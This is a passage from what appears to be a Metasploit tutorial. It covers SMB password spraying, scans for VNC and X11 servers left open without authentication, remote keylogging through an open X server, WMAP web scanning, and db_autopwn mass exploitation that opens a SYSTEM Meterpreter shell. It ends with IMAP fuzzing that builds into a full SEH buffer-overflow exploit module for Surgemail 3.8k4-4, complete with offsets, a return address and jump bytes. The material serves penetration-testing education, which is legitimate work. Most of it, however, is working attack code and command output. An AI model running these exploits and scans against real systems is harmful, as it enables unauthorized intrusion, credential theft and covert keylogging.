range of hosts and determine if the username/password combination can access the target. Keep in mind, this is very "loud" as it will show up as a failed login attempt in the event logs of every Windows box it touches. Be thoughtful on the network you are taking this action on. Any successful results can be plugged into the windows/smb/psexec exploit module (exactly like the standalone tool) which can be utilized to create Meterpreter sessions. msf > use auxiliary/scanner/smb/login msf auxiliary(login) > show options RPORT 445 yes Set the SMB service port SMBDomain WORKGROUP no SMB Domain SMBPass no SMB Password SMBUser Administrator no SMB Username msf auxiliary(login) > set RHOSTS 192.168.1.0/24 msf auxiliary(login) > set SMBUser victim SMBUser => victim msf auxiliary(login) > set SMBPass s3cr3t SMBPass => s3cr3t msf auxiliary(login) > set THREADS 50 msf auxiliary(login) > run [*] 192.168.1.100 - FAILED 0xc000006d - STATUS_LOGON_FAILURE [*] 192.168.1.111 - FAILED 0xc000006d - STATUS_LOGON_FAILURE [*] 192.168.1.114 - FAILED 0xc000006d - STATUS_LOGON_FAILURE [*] 192.168.1.125 - FAILED 0xc000006d - STATUS_LOGON_FAILURE [*] 192.168.1.116 - SUCCESSFUL LOGIN (Unix) msf auxiliary(login) > VNC Authentication None The VNC Authentication None Scanner will search a range of IP addresses looking for targets that are running a VNC server without a password configured. Pretty well every administrator worth his/her salt sets a password prior to allowing inbound connections but you never know when you might catch a lucky break and a successful pen-test leaves no stone unturned. In fact, once when doing a pentest, we came across a system on the target network with an open VNC installation. While we were documenting our findings, I noticed some activity on the system. It turns out, someone else had found the system as well! An unauthorized user was live and active on the same system at the same time. After engaging in some social engineering with the intruder, we were informed by the user they had just got into the system, and came across it as they were scanning large chunks of IP addresses looking for open systems. This just drives home the fact that intruders are in fact actively looking for this low hanging fruit, so you ignore it at your own risk. If you would like to test this module in your lab environment, you can download a vulnerable version of UltraVNC HERE. To utilize the VNC scanner, we first select the auxiliary module, define our options, then let it run. msf auxiliary(vnc_none_auth) > use scanner/vnc/vnc_none_auth msf auxiliary(vnc_none_auth) > show options RPORT 5900 yes The target port msf auxiliary(vnc_none_auth) > set RHOSTS 192.168.1.0/24 msf auxiliary(vnc_none_auth) > set THREADS 50 msf auxiliary(vnc_none_auth) > run [*] 192.168.1.121:5900, VNC server protocol version : RFB 003.008 [*] 192.168.1.121:5900, VNC server security types supported : None, free access! Open X11 Much like the vnc_auth scanner, the Open_X11 scanner module scans a target range for X11 servers that will allow a user to connect without any authentication. Think of the devastating attack that can be conducted off of this configuration error. To operate, again we select the auxiliary module, define our options, and let it run. msf > use scanner/x11/open_x11 msf auxiliary(open_x11) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier RPORT 6000 yes The target port THREADS 1 yes The number of concurrent threads msf auxiliary(open_x11) > set RHOSTS 192.168.1.1/24 RHOSTS => 192.168.1.1/24 msf auxiliary(open_x11) > set THREADS 50 THREADS => 50 msf auxiliary(open_x11) > run [*] Trying 192.168.1.1 [*] Trying 192.168.1.0 [*] Trying 192.168.1.2 ... [*] Trying 192.168.1.29 [*] Trying 192.168.1.30 [*] Open X Server @ 192.168.1.23 (The XFree86 Project, Inc) [*] Trying 192.168.1.31 [*] Trying 192.168.1.32 [*] Trying 192.168.1.253 [*] Trying 192.168.1.254 [*] Trying 192.168.1.255 [*] Auxiliary module execution completed Just as an example of what we could do next, lets institute remote keylogging. root@bt4:/# cd /pentest/sniffers/xspy/ root@bt4:/pentest/sniffers/xspy# ./xspy -display 192.168.1.101:0 -delay 100 ssh root@192.168.1.11(+BackSpace)37 sup3rs3cr3tp4s5w0rd ifconfig exit WMAP Web Scanner WMAP is a feature-rich web vulnerability scanner that was originally created from a tool named SQLMap. This tool offers the ability to take a proxy and pipe the output and captured data and perform vulnerability analysis off of a web proxy intercept. First, we need to download a proxy that is compatible and patch it with Metasploit's patch. Also note, that if you haven't already done so, install rubygems and ruby-sqlite3 as those will be required. root@bt4:/pentest/exploits/framework3# wget http://ratproxy.googlecode.com/files/ratproxy-1.58.tar.gz --2009-06-29 21:41:02-- http://ratproxy.googlecode.com/files/ratproxy-1.58.tar.gz Resolving ratproxy.googlecode.com... 74.125.93.82 Connecting to ratproxy.googlecode.com|74.125.93.82|:80... connected. Length: 168409 (164K) [application/x-gzip] Saving to: `ratproxy-1.58.tar.gz' 100%[===================================>] 168,409 201K/s in 0.8s 2009-06-29 21:41:03 (201 KB/s) - `ratproxy-1.58.tar.gz' saved [168409/168409] root@bt4:/pentest/exploits/framework3# tar -zxvf ratproxy-1.58.tar.gz Unpacked root@bt4:/pentest/exploits/framework3# cd ratproxy root@bt4:/pentest/exploits/framework3/ratproxy# patch -d . < /pentest/exploits/framework3/external/ratproxy/ratproxy_wmap.diff patching file Makefile patching file ratproxy.c Hunk #8 succeeded at 1785 (offset 9 lines). Hunk #9 succeeded at 1893 (offset 9 lines). patching file http.c Hunk #3 succeeded at 668 (offset 8 lines). root@bt4:/pentest/exploits/framework3/ratproxy# make Compiled no errors. Now that we have ratproxy patched and ready to go, we have to configure our proxy in order to allow communications to be tunneled through our proxy and ultimately to Metasploit's WMAP. First, open up Firefox and follow the menu items Edit, Preferences, Advanced, Network, Settings, Manual proxy configuration, select "use this proxy server for all protocols" and in the HTTP proxy field, enter localhost and set the port to 8080. Once this is configured, we will issue a series of commands, navigate to the site, and ultimately attack it. Lets follow the process and see what it looks like. First we need to configure and connect to our database. =[ metasploit v3.3-testing [core:3.3 api:1.0] + -- --=[ 381 exploits - 231 payloads =[ 156 aux msf > db_create wmap.db [*] File: wmap.db msf > load db_wmap [*] =[ WMAP v0.6 - et [ ] metasploit.com [*] Successfully loaded plugin: db_wmap msf > db_connect wmap.db In another terminal window or tab, start up ratproxy with full logging, pointing to our database. root@bt4:/pentest/web/ratproxy# ./ratproxy -v /pentest/exploits/framework3/ -b wmap.db ratproxy version 1.58-beta by lcamtuf@google.com [!] WARNING: Running with no 'friendly' domains specified. Many cross-domain checks will not work. Please consult the documentation for advice. [*] Proxy configured successfully. Have fun, and please do not be evil. [+] Accepting connections on port 8080/tcp (local only)... Now with everything running, we browse to our target website. Be sure to spend some time going through the site, and populate the database with enough information for Metasploit to work with. Once we finish browsing through the target site, we go back to our Metasploit session and see what we have captured. msf > wmap_targets -r [*] Added. 10.211.55.140 80 0 msf > wmap_targets -p [*] Id. Host Port SSL [*] 1. 10.211.55.140 80 [*] Done. msf > wmap_targets -s 1 msf > wmap_website [*] Website structure [*] 10.211.55.140:80 SSL:0 ROOT_TREE | sql | +------Default.aspx msf > wmap_run -t [*] Loaded auxiliary/scanner/http/wmap_soap_xml ... [*] Loaded auxiliary/scanner/http/wmap_webdav_scanner ... [*] Loaded auxiliary/scanner/http/options ... [*] Loaded auxiliary/scanner/http/frontpage_login ... [*] Loaded auxiliary/scanner/http/wmap_vhost_scanner ... [*] Loaded auxiliary/scanner/http/wmap_cert ... [*] Loaded auxiliary/scanner/http/version ... [*] Loaded auxiliary/scanner/http/frontpage ... [*] Loaded auxiliary/admin/http/tomcat_manager ... [*] Loaded auxiliary/scanner/http/wmap_verb_auth_bypass ... [*] Loaded auxiliary/scanner/http/wmap_ssl ... [*] Loaded auxiliary/admin/http/tomcat_administration ... [*] Loaded auxiliary/scanner/http/wmap_prev_dir_same_name_file ... [*] Loaded auxiliary/scanner/http/wmap_copy_of_file ... [*] Loaded auxiliary/scanner/http/writable ... [*] Loaded auxiliary/scanner/http/wmap_backup_file ... [*] Loaded auxiliary/scanner/http/ms09_xxx_webdav_unicode_bypass ... [*] Loaded auxiliary/scanner/http/wmap_dir_listing ... [*] Loaded auxiliary/scanner/http/wmap_files_dir ... [*] Loaded auxiliary/scanner/http/wmap_file_same_name_dir ... [*] Loaded auxiliary/scanner/http/wmap_brute_dirs ... [*] Loaded auxiliary/scanner/http/wmap_replace_ext ... [*] Loaded auxiliary/scanner/http/wmap_dir_webdav_unicode_bypass ... [*] Loaded auxiliary/scanner/http/wmap_dir_scanner ... [*] Loaded auxiliary/scanner/http/wmap_blind_sql_query ... [*] Analysis completed in 0.863369941711426 seconds. msf > wmap_run -e WMAP will now use the database file that we have pointed ratproxy to and created with Metasploit and start attacking the website. This generally takes a while as there are a significant amount of attacks through WMAP. Note that some of the checks are not reliable and take a long time to complete. To break out of a specific auxiliary module, just hit "control-c" and it will move on to the next auxiliary module. Wait for the entire process to finish and then start on the commands below. msf > wmap_reports [*] Usage: wmap_reports [options] -h Display this help text -p Print all available reports -s [id] Select report for display -x [id] Display XML report msf > wmap_reports -p [*] Id. Created Target (host,port,ssl) 1. Fri Jun 26 08:35:58 +0000 2009 10.211.55.140,80,0 msf > wmap_reports -s 1 WMAP REPORT: 10.211.55.140,80,0 Metasploit WMAP Report [Fri Jun 26 08:35:58 +0000 2009] WEB_SERVER WEBDAV: ENABLED [Fri Jun 26 08:38:15 +0000 2009] WEB_SERVER OPTIONS: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH [Fri Jun 26 08:38:15 +0000 2009] WEB_SERVER TYPE: Microsoft-IIS/6.0 ( Powered by ASP.NET ) [Fri Jun 26 08:38:18 +0000 2009] FILE NAME: /sql/default.aspx File /sql/default.aspx found. [Fri Jun 26 08:39:02 +0000 2009] FILE RESP_CODE: 200 [Fri Jun 26 08:39:02 +0000 2009] DIRECTORY NAME: /Ads/ Directory /Ads/ found. [Fri Jun 26 08:39:37 +0000 2009] DIRECTORY NAME: /Cch/ Directory /Cch/ found. [Fri Jun 26 08:44:10 +0000 2009] DIRECTORY NAME: /Eeo/ Directory /Eeo/ found. [Fri Jun 26 08:49:03 +0000 2009] DIRECTORY NAME: /_private/ Directory /_private/ found. [Fri Jun 26 08:55:22 +0000 2009] DIRECTORY RESP_CODE: 403 [Fri Jun 26 08:55:22 +0000 2009] DIRECTORY NAME: /_vti_bin/ Directory /_vti_bin/ found. [Fri Jun 26 08:55:23 +0000 2009] DIRECTORY RESP_CODE: 207 [Fri Jun 26 08:55:23 +0000 2009] DIRECTORY NAME: /_vti_log/ Directory /_vti_log/ found. [Fri Jun 26 08:55:24 +0000 2009] DIRECTORY RESP_CODE: 403 [Fri Jun 26 08:55:24 +0000 2009] DIRECTORY NAME: /_vti_pvt/ Directory /_vti_pvt/ found. [Fri Jun 26 08:55:24 +0000 2009] DIRECTORY RESP_CODE: 500 [Fri Jun 26 08:55:24 +0000 2009] DIRECTORY NAME: /_vti_txt/ Directory /_vti_txt/ found. [Fri Jun 26 08:55:24 +0000 2009] DIRECTORY NAME: /_private/ Directory /_private/ found. [Fri Jun 26 08:56:07 +0000 2009] DIRECTORY RESP_CODE: 403 [Fri Jun 26 08:56:07 +0000 2009] DIRECTORY NAME: /_vti_bin/ Directory /_vti_bin/ found. [Fri Jun 26 08:56:12 +0000 2009] DIRECTORY RESP_CODE: 403 [Fri Jun 26 08:56:12 +0000 2009] DIRECTORY NAME: /_vti_log/ Directory /_vti_log/ found. [Fri Jun 26 08:56:12 +0000 2009] The report given back to us tells us a lot of information about the web application and potential security vulnerabilities that have been identified. As pentesters, we would want to investigate each finding further and identify if there are potential methods for attack. In the example, there are two good findings. The first is WebDav where we may be able to bypass logins, the other is the PUT method that may allow us to place malicious code on the website. WMAP is a great addition to the Metasploit Framework and allows you to essentially have a vulnerability scanner built into the already great framework itself. One thing to mention about WMAP is it really is still a work in progress. The site that we just scanned had numerous instances of error based SQL Injection and Cross-Site Scripting which it did not identify. Just be aware when using this, and understand WMAP's current limitations. Working with Nessus Nessus is a well known and popular vulnerability scanner that is free for personal, non-commercial use that was first released in 1998 by Renaurd Deraison and currently published by Tenable Network Security. There is also a spin off project of Nessus 2, named OpenVAS, that is published under the GPL. Utilizing a large number of vulnerability checks, called plugins in Nessus, you can identify a large number of well known vulnerablities. Metasploit will accept vulnerability scan result files from both Nessus and OpenVAS in the nbe file format. Lets walk through the process. First we complete a scan from Nessus 4: Upon completion of a vulnerability scan, we save the results in nbe format and then start the msfconsole. Next, we need to create a new database to read the results file into. We have now created the database. Next, lets take a look at the 'help' command, which presents many more options. So lets go ahead and import the nbe results file by issuing the 'db_import_nessus_nbe' command followed by the path to our results file. After importing the results file, we can execute the 'db_hosts' command to list the hosts that are in the nbe results file. msf > db_import_nessus_nbe /root/docs/115_scan.nbe [*] Time: Tue Jul 14 17:40:23 -0600 2009 Host: 192.168.1.115 Status: alive OS: We see exactly what we were expecting to see. Next we execute the 'db_services' command which will enumerate all of the services that were detected running on the scanned system. [*] Time: Tue Jul 14 17:40:23 -0600 2009 Service: host=192.168.1.115 port=135 proto=tcp state=up name=epmap [*] Time: Tue Jul 14 17:40:23 -0600 2009 Service: host=192.168.1.115 port=139 proto=tcp state=up name=netbios-ssn [*] Time: Tue Jul 14 17:40:23 -0600 2009 Service: host=192.168.1.115 port=445 proto=tcp state=up name=microsoft-ds [*] Time: Tue Jul 14 17:40:23 -0600 2009 Service: host=192.168.1.115 port=22 proto=tcp state=up name=ssh [*] Time: Tue Jul 14 17:40:23 -0600 2009 Service: host=192.168.1.115 port=137 proto=udp state=up name=netbios-ns [*] Time: Tue Jul 14 17:40:23 -0600 2009 Service: host=192.168.1.115 port=123 proto=udp state=up name=ntp Finally, and most importantly, the 'db_vulns' command will list all of the vulnerabilities that were reported by Nessus and recorded in the results file. msf > db_vulns [*] Time: Tue Jul 14 17:40:23 -0600 2009 Vuln: host=192.168.1.115 port=22 proto=tcp name=NSS-1.3.6.1.4.1.25623.1.0.50282 refs=NSS-1.3.6.1.4.1.25623.1.0.50282 [*] Time: Tue Jul 14 17:40:23 -0600 2009 Vuln: host=192.168.1.115 port=445 proto=tcp name=NSS-1.3.6.1.4.1.25623.1.0.11011 refs=NSS-1.3.6.1.4.1.25623.1.0.11011 [*] Time: Tue Jul 14 17:40:23 -0600 2009 Vuln: host=192.168.1.115 port=139 proto=tcp name=NSS-1.3.6.1.4.1.25623.1.0.11011 refs=NSS-1.3.6.1.4.1.25623.1.0.11011 [*] Time: Tue Jul 14 17:40:23 -0600 2009 Vuln: host=192.168.1.115 port=137 proto=udp name=NSS-1.3.6.1.4.1.25623.1.0.10150 refs=NSS-1.3.6.1.4.1.25623.1.0.10150,CVE-1999-0621 [*] Time: Tue Jul 14 17:40:23 -0600 2009 Vuln: host=192.168.1.115 port=445 proto=tcp name=NSS-1.3.6.1.4.1.25623.1.0.10394 refs=NSS-1.3.6.1.4.1.25623.1.0.10394 [*] Time: Tue Jul 14 17:40:23 -0600 2009 Vuln: host=192.168.1.115 port=123 proto=udp name=NSS-1.3.6.1.4.1.25623.1.0.10884 refs=NSS-1.3.6.1.4.1.25623.1.0.10884 All of this enumeration and parsing is leading up to something...db_autopwn. db_autopwn will read all of the ports, services, and vulnerabilities contained within the nbe results file, match exploits that are compatible with them, and try to exploit them all automagically. Running 'db_autopwn -h' will list all of the options that are available. msf > db_autopwn -h [*] Usage: db_autopwn [options] -t Show all matching exploit modules -x Select modules based on vulnerability references -p Select modules based on open ports -e Launch exploits against all matched targets -r Use a reverse connect shell -b Use a bind shell on a random port -q Disable exploit module output -I [range] Only exploit hosts inside this range -X [range] Always exclude hosts inside this range -PI [range] Only exploit hosts with these ports open -PX [range] Always exclude hosts with these ports open -m [regex] Only run modules whose name matches the regex We will run 'db_autopwn -x -e' to select exploit modules based on vulnerability (instead of just by port as would happen with just nmap results) and exploit all targets. db_autopwn is not a stealthy tool by any means and by default, uses a reverse Meterpreter shell. Lets see what happens when we run it. msf > db_autopwn -x -e [*] (8/38): Launching exploit/multi/samba/nttrans against 192.168.1.115:139... [*] (9/38): Launching exploit/windows/smb/psexec against 192.168.1.115:445... [*] (10/38): Launching exploit/windows/smb/ms06_066_nwwks against 192.168.1.115:445... [-] Exploit failed: The connection was refused by the remote host (192.168.1.115:22). [*] (35/38): Launching exploit/windows/smb/ms03_049_netapi against 192.168.1.115:445... [-] Exploit failed: No encoders encoded the buffer successfully. [*] Binding to 3d742890-397c-11cf-9bf1-00805f88cb72:1.0@ncacn_np:192.168.1.115[alert] ... [*] Binding to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.1.115[lsarpc]... [-] Exploit failed: The server responded with error: STATUS_ACCESS_DENIED (Command=162 WordCount=0) [*] Transmitting intermediate stager for over-sized stage...(216 bytes) [*] Sending stage (718336 bytes) [*] Meterpreter session 1 opened (192.168.1.101:40814 -> 192.168.1.115:14198) Very nice! db_autopwn has successfully exploited the host and has a Meterpreter shell waiting for us. The 'sessions -l' command will list the open sessions available while 'sessions -i ' will allow us to interact with that session ID. msf > sessions -l Active sessions =============== Id Description Tunnel -- ----------- ------ 1 Meterpreter 192.168.1.101:40814 -> 192.168.1.115:14198 msf > sessions -i 1 [*] Starting interaction with 1... meterpreter > sysinfo Computer: DOOKIE-FA154354 OS : Windows XP (Build 2600, Service Pack 2). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM As you can see, this is a very powerful feature. It won't catch everything on the remote system, and will be very noisy, but there is a time and place for noise the same as there is for stealth. This demonstrates the versatility of the framework, and some of the many possibilities for integration with other tools that are possible. Simple TFTP Fuzzer One of the most powerful aspects of Metasploit is how easy it is to make changes and create new functionality by reusing existing code. For instance, as this very simple fuzzer code demonstrates, you can make a few minor modifications to an existing Metasploit module to create a fuzzer module. The changes will pass ever-increasing lengths to the transport mode value to the 3Com TFTP Service for Windows, resulting in an overwrite of EIP. #Metasploit require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Scanner def initialize super( 'Name' => '3Com TFTP Fuzzer', 'Version' => '$Revision: 1 $', 'Description' => '3Com TFTP Fuzzer Passes Overly Long Transport Mode String', 'Author' => 'Your name here', 'License' => MSF_LICENSE ) register_options( [ Opt::RPORT(69) ], self.class) end def run_host(ip) # Create an unbound UDP socket udp_sock = Rex::Socket::Udp.create( 'Context' => { 'Msf' => framework, 'MsfExploit' => self, } count = 10 # Set an initial count while count < 2000 # While the count is under 2000 run evil = "A" * count # Set a number of "A"s equal to count pkt = "\x00\x02" + "\x41" + "\x00" + evil + "\x00" # Define the payload udp_sock.sendto(pkt, ip, datastore['RPORT']) # Send the packet print_status("Sending: #{evil}") # Status update resp = udp_sock.get(1) # Capture the response count += 10 # Increase count by 10, and loop end end Pretty straight forward. Lets run it and see what happens. And we have a crash! The fuzzer is working as expected. While this may seem simple on the surface, one thing to consider is the reusable code that this provides us. In our example, the payload structure was defined for us, saving us time, and allowing us to get directly to the fuzzing rather than researching the protocol. This is extremely powerful, and is a hidden benefit of the framework. Writing a simple Fuzzer Fuzzers are tools used by security professionals to provide invalid and unexpected data to the inputs of a program. Typical fuzzers test an application for buffer overflows, format string, directory traversal attacks, command execution vulnerabilities, SQL Injection, XSS and more. Because Metasploit provides a very complete set of libraries to security professionals for many network protocols and data manipulations, the framework is a good candidate for quick development of simple fuzzers. Rex::Text module provides lots of handy methods for dealing with text like: * Buffer conversion * Encoding (html, url, etc) * Checksumming * Random string generation The last point is obviously extremely helpful in writing simple fuzzers. For more information, refer to the API documentation at http://metasploit.com/documents/api/rex/classes/Rex/Text.html. Here are some of the functions that you can find in Rex::Text : root@bt4:~/docs# grep "def self.rand" /pentest/exploits/framework3/lib/rex/text.rb def self.rand_char(bad, chars = AllChars) def self.rand_base(len, bad, *foo) def self.rand_text(len, bad='', chars = AllChars) def self.rand_text_alpha(len, bad='') def self.rand_text_alpha_lower(len, bad='') def self.rand_text_alpha_upper(len, bad='') def self.rand_text_alphanumeric(len, bad='') def self.rand_text_numeric(len, bad='') def self.rand_text_english(len, bad='') def self.rand_text_highascii(len, bad='') def self.randomize_space(str) def self.rand_hostname def self.rand_state() Simple IMAP Fuzzer During a host reconnaissance session we discovered an IMAP Mail server which is known to be vulnerable to a buffer overflow attack (Surgemail 3.8k4-4). We found an advisory for the vulnerability but can't find any working exploits in the Metasploit database nor on the internet. We then decide to write our own exploit starting with a simple IMAP fuzzer. From the advisory we do know that the vulnerable command is IMAP LIST and you need valid credentials to exploit the application. As we've previously seen, the big "library arsenal" present in MSF can help us to quickly script any network protocol and the IMAP protocol is not an exception. Including Msf::Exploit::Remote::Imap will save us a lot of time. In fact, connecting to the IMAP server and performing the authentication steps required to fuzz the vulnerable command, is just a matter of a single line command line! Here is the code for the IMAP LIST fuzzer: ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ include Msf::Exploit::Remote::Imap include Msf::Auxiliary::Dos def initialize super( 'Name' => 'Simple IMAP Fuzzer', 'Description' => %q{ An example of how to build a simple IMAP fuzzer. Account IMAP credentials are required in this fuzzer. }, 'Author' => [ 'ryujin' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 1 $' ) end def fuzz_str() return Rex::Text.rand_text_alphanumeric(rand(1024)) def run() srand(0) while (true) connected = connect_login() if not connected print_status("Host is not responding - this is G00D ;)") break end print_status("Generating fuzzed data...") fuzzed = fuzz_str() print_status("Sending fuzzed data, buffer length = %d" % fuzzed.length) req = '0002 LIST () "/' + fuzzed + '" "PWNED"' + "\r\n" print_status(req) res = raw_send_recv(req) print_status(res) disconnect() Overiding the run() method, our code will be executed each time the user calls "run" from msfconsole. In the while loop within run(), we connect to the IMAP server and authenticate through the function connect_login() imported from Msf::Exploit::Remote::Imap. We then call the function fuzz_str() which generates a variable size alphanumeric buffer that is going to be sent as an argument of the LIST IMAP command through the raw_send_recv function. We save the above file in the auxiliary/dos/windows/imap/ subdirectory and load it from msfconsole as it follows: msf > use auxiliary/dos/windows/imap/fuzz_imap msf auxiliary(fuzz_imap) > show options Name Current Setting Required Description ---- --------------- -------- ----------- IMAPPASS no The password for the specified username IMAPUSER no The username to authenticate as RHOST yes The target address RPORT 143 yes The target port msf auxiliary(fuzz_imap) > set RHOST 172.16.30.7 RHOST => 172.16.30.7 msf auxiliary(fuzz_imap) > set IMAPUSER test IMAPUSER => test msf auxiliary(fuzz_imap) > set IMAPPASS test IMAPPASS => test We are now ready to fuzz the vulnerable IMAP server. We attach the surgemail.exe process from ImmunityDebugger and start our fuzzing session: msf auxiliary(fuzz_imap) > run [*] Connecting to IMAP server 172.16.30.7:143... [*] Connected to target IMAP server. [*] Authenticating as test with password test... [*] Generating fuzzed data... [*] Sending fuzzed data, buffer length = 684 [*] 0002 LIST () /"v1AD7DnJTVykXGYYM6BmnXL[...]" "PWNED" [*] Sending fuzzed data, buffer length = 225 [*] 0002 LIST () /"lLdnxGBPh1AWt57pCvAZfiL[...]" "PWNED" [*] 0002 OK LIST completed [*] Sending fuzzed data, buffer length = 1007 [*] 0002 LIST () /"FzwJjIcL16vW4PXDPpJV[...]gaDm" "PWNED" [*] [*] Authentication failed [*] Host is not responding - this is G00D ;) MSF tells us that the IMAP server has probably crashed and ImmunityDebugger confirms it as seen in the following image: Exploit Development Next, we are going to cover one of the most well known and popular aspects of the framework, exploit development. In this section, we are going to show how utilizing the framework for exploit development allows you to concentrate on what is unique about the exploit, and makes other matters such as payload, encoding, nop generation, and so on just a matter of infrastructure. Due to the sheer number of exploits currently available in Metasploit, there is a very good chance that there is already a module that you can simply edit for your own purposes during exploit development. To make exploit development easier, Metasploit includes a sample exploit that you can modify. You can find it under 'documentation/samples/modules/exploits/'. Making something go "Boom" Previously we looked at fuzzing an IMAP server in the Simple IMAP Fuzzer section. At the end of that effort we found that we could overwrite EIP, making ESP the only register pointing to a memory location under our control (4 bytes after our return address). We can go ahead and rebuild our buffer (fuzzed = "A"*1004 + "B"*4 + "C"*4) to confirm that the execution flow is redirectable through a JMP ESP address as a ret. msf auxiliary(fuzz_imap) > run [*] Connecting to IMAP server 172.16.30.7:143... [*] Connected to target IMAP server. [*] Authenticating as test with password test... [*] Generating fuzzed data... [*] Sending fuzzed data, buffer length = 1012 [*] 0002 LIST () /"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]BBBBCCCC" "PWNED" [*] Authentication failed [*] It seems that host is not responding anymore and this is G00D ;) msf auxiliary(fuzz_imap) > Controlling Execution Flow We now need to determine the correct offset in order get code execution. Fortunately, Metasploit comes to the rescue with two very useful utilities: pattern_create.rb and pattern_offset.rb. Both of these scripts are located in Metasploit's 'tools' directory. By running pattern_create.rb , the script will generate a string composed of unique patterns that we can use to replace our sequence of 'A's. root@bt4:~# /pentest/exploits/framework3/tools/pattern_create.rb 11000 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A c1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2 Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5[...] After we have successfully overwritten EIP or SEH (or whatever register you are aiming for), we must take note of the value contained in the register and feed this value to pattern_offset.rb to determine at which point in the random string the value appears. Rather than calling the command line pattern_create.rb, we will call the underlying API directly from our fuzzer using the Rex::Text.pattern_create(). If we look at the source, we can see how this function is called. def self.pattern_create(length, sets = [ UpperAlpha, LowerAlpha, Numerals ]) buf = '' idx = 0 offsets = [] sets.length.times { offsets << 0 } until buf.length >= length begin buf << converge_sets(sets, 0, offsets, length) rescue RuntimeError break # Maximum permutations reached, but we need more data if (buf.length < length) buf = buf * (length / buf.length.to_f).ceil buf[0,length] So we see that we call the pattern_create function which will take at most two parameters, the size of the buffer we are looking to create and an optional second paramater giving us some control of the contents of the buffer. So for our needs, we will call the function and replace our fuzzed variable with fuzzed = Rex::Text.pattern_create(11000). This causes our SEH to be overwritten by 0x684E3368 and based on the value returned by pattern_offset.rb, we can determine that the bytes that overwrite our exception handler are the next four bytes 10361, 10362, 10363, 10364. root@bt4:~# /pentest/exploits/framework3/tools/pattern_offset.rb 684E3368 11000 10360 As it often happens in SEH overflow attacks, we now need to find a POP POP RET (other sequences are good as well as explained in "Defeating the Stack Based Buffer Overflow Prevention Mechanism of Microsoft Windows 2003 Server" Litchfield 2003) address in order to redirect the execution flow to our buffer. However, searching for a suitable return address in surgemail.exe, obviously leads us to the previously encountered problem, all the addresses have a null byte. root@bt4:~# /pentest/exploits/framework3/msfpescan -p surgemail.exe [surgemail.exe] 0x0042e947 pop esi; pop ebp; ret 0x0042f88b pop esi; pop ebp; ret 0x00458e68 pop esi; pop ebp; ret 0x00458edb pop esi; pop ebp; ret 0x00537506 pop esi; pop ebp; ret 0x005ec087 pop ebx; pop ebp; ret 0x00780b25 pop ebp; pop ebx; ret 0x00780c1e pop ebp; pop ebx; ret 0x00784fb8 pop ebx; pop ebp; ret 0x0078506e pop ebx; pop ebp; ret 0x00785105 pop ecx; pop ebx; ret 0x0078517e pop esi; pop ebx; ret Fortunately this time we have a further attack approach to try in the form of a partial overwrite, overflowing SEH with only the 3 lowest significant bytes of the return address. The difference is that this time we can put our shellcode into the first part of the buffer following a schema like the following: | NOPSLED | SHELLCODE | NEARJMP | SHORTJMP | RET (3 Bytes) | POP POP RET will redirect us 4 bytes before RET where we will place a short JMP taking us 5 bytes back. We'll then have a near back JMP that will take us in the middle of the NOPSLED. This was not possible to do with a partial overwrite of EIP and ESP, as due to the stack arrangement ESP was four bytes after our RET. If we did a partial overwrite of EIP, ESP would then be in an uncontrollable area. Getting a Shell With what we have learned, we write the exploit and save it to windows/imap/surgemail_list.rb. You can download the exploit here: ./msf/surgemail_list.rb. # http://metasploit.com/projects/Framework/ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, 'Name' => 'Surgemail 3.8k4-4 IMAPD LIST Buffer Overflow', This module exploits a stack overflow in the Surgemail IMAP Server version 3.8k4-4 by sending an overly long LIST command. Valid IMAP account credentials are required. }, 'Version' => '$Revision: 1 $', 'References' => [ [ 'BID', '28260' ], [ 'CVE', '2008-1498' ], [ 'URL', 'http://www.milw0rm.com/exploits/5259' ], ], 'Privileged' => false, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => 'Space' => 10351, 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'DisableNops' => true, 'BadChars' => "\x00" 'Platform' => 'win', 'Targets' => [ 'Windows Universal', { 'Ret' => "\x7e\x51\x78" } ], # p/p/r 0x0078517e 'DisclosureDate' => 'March 13 2008', 'DefaultTarget' => 0)) def check connect disconnect if (banner and banner =~ /(Version 3.8k4-4)/) return Exploit::CheckCode::Vulnerable return Exploit::CheckCode::Safe def exploit connected = connect_login nopes = "\x90"*(payload_space-payload.encoded.length) # to be fixed with make_nops() sjump = "\xEB\xF9\x90\x90" # Jmp Back njump = "\xE9\xDD\xD7\xFF\xFF" # And Back Again Baby ;) evil = nopes + payload.encoded + njump + sjump + [target.ret].pack("A3") print_status("Sending payload") sploit = '0002 LIST () "/' + evil + '" "PWNED"' + "\r\n" sock.put(sploit) handler The most important things to notice in the previous code are the following: * We defined the maximum space for the shellcode (Space => 10351) and set the DisableNops feature to disable the automatic shellcode padding, we'll pad the payload on our own. * We set the default encoder to the AlphanumMixed because of the nature of the IMAP protocol. * We defined our 3 bytes POP POP RET return address that will be then referenced through the target.ret variable. * We defined a check function which can check the IMAP server banner in order to identify a vulnerable server and an exploit function that obviously is the one that does most of the work. Let's see if it works: msf > search surgemail [*] Searching loaded modules for pattern 'surgemail'... Exploits ======== Name Description ---- ----------- windows/imap/surgemail_list Surgemail 3.8k4-4 IMAPD LIST Buffer Overflow msf > use windows/imap/surgemail_list msf exploit(surgemail_list) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- IMAPPASS test no The password for the specified username IMAPUSER test no The username to authenticate as RHOST 172.16.30.7 yes The 